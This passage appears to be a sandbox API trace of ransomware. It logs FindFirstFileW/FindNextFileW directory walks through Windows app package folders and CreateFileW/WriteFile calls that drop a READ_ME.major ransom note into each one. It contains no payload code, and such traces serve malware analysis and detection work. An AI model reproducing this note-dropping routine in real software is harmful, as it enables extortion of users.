(lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.721] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.722] CloseHandle (hObject=0x94c) returned 1 [0190.722] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8681db72, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8681db72, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x8681db72, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.723] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.724] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.724] CloseHandle (hObject=0x94c) returned 1 [0190.724] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd16e5539, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea0165be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.725] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsAlarms_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowsalarms_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94c [0190.725] WriteFile (in: hFile=0x94c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.726] CloseHandle (hObject=0x94c) returned 1 [0190.726] FindNextFileW (in: hFindFile=0x660bf0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea0165be, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd16e5539, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xea0165be, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.727] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d85f5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc2086555, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x243b81e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660af0 [0190.727] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c4d85f5, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xc2086555, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x243b81e6, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.727] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1c62fb4a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x38070899, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x38070899, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.727] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.729] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.730] CloseHandle (hObject=0x950) returned 1 [0190.730] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c5e36c8, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9b9b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c5e36c8, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.730] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.731] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.732] CloseHandle (hObject=0x950) returned 1 [0190.732] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16e9f95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c54ad1b, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.732] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.733] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.734] CloseHandle (hObject=0x950) returned 1 [0190.734] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16ea38a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c524bdd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.734] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.735] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.735] CloseHandle (hObject=0x950) returned 1 [0190.736] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x243b81e6, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x243b81e6, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x243de44c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.736] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd16ea774, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c524bdd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.736] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.737] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.738] CloseHandle (hObject=0x950) returned 1 [0190.738] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c54ad1b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71318bbc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71318bbc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.738] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.944] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.945] CloseHandle (hObject=0x950) returned 1 [0190.945] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc1d6ba1f, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xc1d6ba1f, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xc1d6ba1f, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0190.945] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\SystemAppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\systemappdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.946] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.946] CloseHandle (hObject=0x950) returned 1 [0190.947] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179aaef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c524bdd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0190.947] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCalculator_8wekyb3d8bbwe\\TempState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscalculator_8wekyb3d8bbwe\\tempstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x950 [0190.948] WriteFile (in: hFile=0x950, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.948] CloseHandle (hObject=0x950) returned 1 [0190.948] FindNextFileW (in: hFindFile=0x660af0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1c524bdd, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179aaef, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1c524bdd, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0190.948] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef81c039, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x660df0 [0190.949] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xef81c039, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0190.949] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x19ce8eec, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x382acb94, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x382acb94, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AC", cAlternateFileName="")) returned 1 [0190.949] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AC\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\ac\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.950] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.951] CloseHandle (hObject=0x954) returned 1 [0190.951] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9ca37, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179ebc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19c9ca37, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0190.951] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\AppData\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\appdata\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.952] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.952] CloseHandle (hObject=0x954) returned 1 [0190.953] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9ca37, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179f2f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19c9ca37, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0190.953] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\LocalCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\localcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.954] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.954] CloseHandle (hObject=0x954) returned 1 [0190.955] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd179faf3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19c767cf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0190.955] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\LocalState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\localstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.955] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.956] CloseHandle (hObject=0x954) returned 1 [0190.960] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2440463c, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2440463c, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2440463c, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0190.960] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c767cf, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd17a025b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x19c767cf, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0190.960] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\RoamingState\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\roamingstate\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.961] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0190.962] CloseHandle (hObject=0x954) returned 1 [0190.962] FindNextFileW (in: hFindFile=0x660df0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19c9ca37, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7133ee1b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7133ee1b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0190.962] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsCamera_8wekyb3d8bbwe\\Settings\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windowscamera_8wekyb3d8bbwe\\settings\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x954 [0190.977] WriteFile (in: hFile=0x954, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, 